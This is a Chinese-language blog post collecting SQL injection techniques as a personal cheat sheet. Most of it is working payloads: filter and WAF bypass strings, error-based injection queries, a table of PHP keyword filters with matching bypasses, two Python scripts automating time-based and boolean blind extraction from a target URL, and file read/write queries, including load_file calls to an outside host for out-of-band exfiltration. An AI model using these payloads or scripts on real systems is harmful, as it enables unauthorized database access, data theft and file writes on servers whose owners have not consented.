Loading

各种注入姿势

SQL的世界真的很丰富,这里记录一些网上搜集到的和自己见过的一些注入手段
也是方便自己查看,右侧栏可以选择目录

注入的一般流程

以前写过一道题目

流程

waf拦截了columns,database,schema等关键字或函数

mysql注入可报错时爆表名、字段名、库名

Out-of-Band 注入

MySQL Out-of-Band 攻击
DNS监听平台

各种绕过

注释符

//, -- , /**/, #, --+, -- -, ;,%00,--a

大小写

Union SeLeCt...

内联注释绕过

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

这里/**/注释在实际过程中似乎是行不通的,不知是版本限制还是什么原因

双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例:    
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

空格绕过

两个空格代替一个空格,用Tab代替空格

%20 %09 %0a %0b %0c %0d %a0 /**/

括号绕过空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
select(user())from dual where 1=1 and 2=2;

+,-,.号拆解字符串绕过

?id=1' or '11+11'='11+11'
"-"和"."

like绕过

?id=1' or 1 like 1 
绕过对“=”,“>”等的过滤

in绕过

or '1' IN ('swords')

>,<绕过

or 'password' > 'pass'
or 1<3

等价函数与命令绕过

函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

符号

and和or有可能不能使用,可以试下&&和||

=不能使用的情况,可以考虑尝试<、>

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

反引号`绕过

select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

换行符绕过

%0a、%0d

截断绕过

%00,%0A,?,/0,////////////////........////////,%80-%99

目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

宽字节绕过

过滤单引号时,可以试试宽字节

%bf%27 %df%27 %aa%27

\N绕过

\N其实相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

特殊的绕过函数

  • 通过greatest函数绕过不能使用大小于符号的情况
  • greatest(a,b),返回a和b中较大的那个数。
    当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用

    mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
     +------------------------------------------+
    | greatest(ascii(mid(user(),1,1)),150)=150 |
     +------------------------------------------+
    |                                        1 |
     +------------------------------------------+
    

    如果小于150,则上述返回值为True

  • 通过substr函数绕过不能使用逗号的情况
  • mid(user() from 1 for 1)
    或
    substr(user() from 1 for 1)
    mysql> select ascii(substr(user() from 1 for 1)) < 150;
     +------------------------------------------+
    | ascii(substr(user() from 1 for 1)) < 150 |
     +------------------------------------------+
    |                                        1 |
     +------------------------------------------+
    
  • 使用数学运算函数在子查询中报错
  • exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

    ~x 是一个一元运算符,将x按位取补

    select exp(~(select*from(select user())a))
    mysql报错:
    mysql> select exp(~(select*from(select user())a));
    ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
    

    这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:

    (select*from(select user())a) 得到字符串 root@localhost
    

    表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数

    PHP中一些常见的过滤方法及绕过方式

    过滤关键字    and or
    php代码    preg_match('/(and|or)/i',$id)
    会过滤的攻击代码    1 or 1=1 1 and 1=1
    绕过方式    1 || 1=1 1 && 1=1
    
    过滤关键字    and or union
    php代码    preg_match('/(and|or|union)/i',$id)
    会过滤的攻击代码    union select user,password from users
    绕过方式    1 && (select user from users where userid=1)='admin'
    
    过滤关键字    and or union where
    php代码    preg_match('/(and|or|union|where)/i',$id)
    会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
    绕过方式    1 && (select user from users limit 1) = 'admin'
    
    过滤关键字    and or union where
    php代码    preg_match('/(and|or|union|where)/i',$id)
    会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
    绕过方式    1 && (select user from users limit 1) = 'admin'
    
    过滤关键字    and, or, union, where, limit
    php代码    preg_match('/(and|or|union|where|limit)/i', $id)
    会过滤的攻击代码    1 && (select user from users limit 1) = 'admin'
    绕过方式    1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
    
    过滤关键字    and, or, union, where, limit, group by
    php代码    preg_match('/(and|or|union|where|limit|group by)/i', $id)
    会过滤的攻击代码    1 && (select user from users group by user_id having user_id = 1) = 'admin'
    绕过方式    1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
    
    过滤关键字    and, or, union, where, limit, group by, select
    php代码    preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
    会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
    绕过方式    1 && substr(user,1,1) = 'a'
    
    过滤关键字    and, or, union, where, limit, group by, select, '
    php代码    preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
    会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
    绕过方式    1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
    
    过滤关键字    and, or, union, where, limit, group by, select, ', hex
    php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
    会过滤的攻击代码    1 && substr(user,1,1) = unhex(61)
    绕过方式    1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
    
    过滤关键字    and, or, union, where, limit, group by, select, ', hex, substr
    php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
    会过滤的攻击代码    1 && substr(user,1,1) = lower(conv(11,10,16))/td>
    绕过方式    1 && lpad(user,7,1)
    
    过滤关键字    and, or, union, where, limit, group by, select, ', hex, substr, 空格
    php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
    会过滤的攻击代码    1 && lpad(user,7,1)/td>
    绕过方式    1%0b||%0blpad(user,7,1)
    
    过滤关键字    and or union where
    php代码    preg_match('/(and|or|union|where)/i',$id)
    会过滤的攻击代码    1 || (select user from users where user_id = 1) = 'admin'
    绕过方式    1 || (select user from users limit 1) = 'admin'
    

    报错注入

  • floor报错
  • and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    
  • ExtractValue报错
  • and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    
  • UpdateXml报错
  • and 1=(updatexml(1,concat(0x3a,(select user())),1))
    
  • NAME_CONST报错
  • and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
    
  • join报错
  • select * from(select * from mysql.user ajoin mysql.user b)c;
    
  • exp报错
  • and exp(~(select * from (select user () ) a) );
    
  • GeometryCollection()报错
  • and GeometryCollection(()select *from(select user () )a)b );
    
  • polygon ()报错
  • and polygon (()select * from(select user ())a)b );
    
  • multipoint ()报错
  • and multipoint (()select * from(select user() )a)b );
    
  • multlinestring ()报错
  • and multlinestring (()select * from(selectuser () )a)b );
    
  • multpolygon ()报错
  • and multpolygon (()select * from(selectuser () )a)b );
    
  • linestring ()报错
  • and linestring (()select * from(select user() )a)b );
    

    延时注入脚本

    #encoding=utf-8
    
    import string
    import urllib
    import httplib
    
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36'
    }
    
    payloads = list(string.ascii_lowercase)
    
    for i in range(0,10):
    	payloads.append(str(i))
    payloads += ['@','_', '.', '-', '\\', ' ','~']
    
    print u'开始爆破:'
    
    version = ''
    
    for i in range(1,10):
        for payload in payloads:
        	timeout_count = 0
            try:
            	conn = httplib.HTTPConnection('ip', timeout=5)
            	s = "if (ascii(substr(version(),%s,1))=%s) WAITFOR DELAY '0:0:10' --" % (i, ord(payload))
            	params = "lib=83';" + urllib.quote(s)+"&lev=2"
            	conn.request(method='GET', url= '/bookhtm/book.asp?' + params,headers = headers)
            	html_doc = conn.getresponse().read()
            	conn.close()
            	print s+'\n',
            except Exception, e:
            	timeout_count += 1
    
            if timeout_count == 1:	
            	version += payload
            	print '\n[+]',payload
            	print '\n[*]', version
            	break
    
    print '\n[+] Result is:', version
    

    Mysql布尔盲注脚本

    当某个盲注点不能使用工具(一般有waf限制)的时候
    可以使用这个脚本用于证明漏洞的存在

    ! usr/bin/env python
     -*- coding: utf-8 -*-
    
    import httplib
    import time
    import string
    import sys
    import random
    import urllib
    
    headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
    payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
    print 'start to retrive MySQL user:'
    user = ''
    for i in range(1,21):
        for payload in payloads:
            conn = httplib.HTTPConnection('www.example.com', timeout=4)      #连接,host
            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))       #payload
            conn.request(method='GET',url="/php/1.php?id=1 and %s" % s,headers = headers)  #url
            html_header= conn.getresponse().read()
            length=len(html_header)
            if length>10000:
                user+=payload
                sys.stdout.write('\r[In progress] %s' % user)
                sys.stdout.flush()
                break
            else:
                print '.',
                conn.close()
    
    print '\n[Done]MySQL user is', user
    

    注入中读取文件

    MYSQL

    常见的读文件,可以用16进制代替字符串

    select load_file('c:/boot.ini')
    select load_file(0x633a2f626f6f742e696e69)
    select load_file('//ecma.io/1.txt')       # smb协议
    select load_file('\\\\ecma.io\\1.txt')    # 可用于DNS隧道
    

    写文件

    select 0x313233 into outfile 'D:/1.txt'
    select 0x313233 into dumpfile 'D:/1.txt'
    

    参考:MySQL注射的过滤绕过技巧
    SQL注入绕过技巧
    sql注入12个报错方式
    深入了解SQL注入绕过waf和过滤机制
    安全手册
    About Join
    SQLi —— 逗号,空格,字段名过滤突破

    posted @ 2017-10-27 23:27  bay1  阅读(429)  评论(0编辑  收藏  举报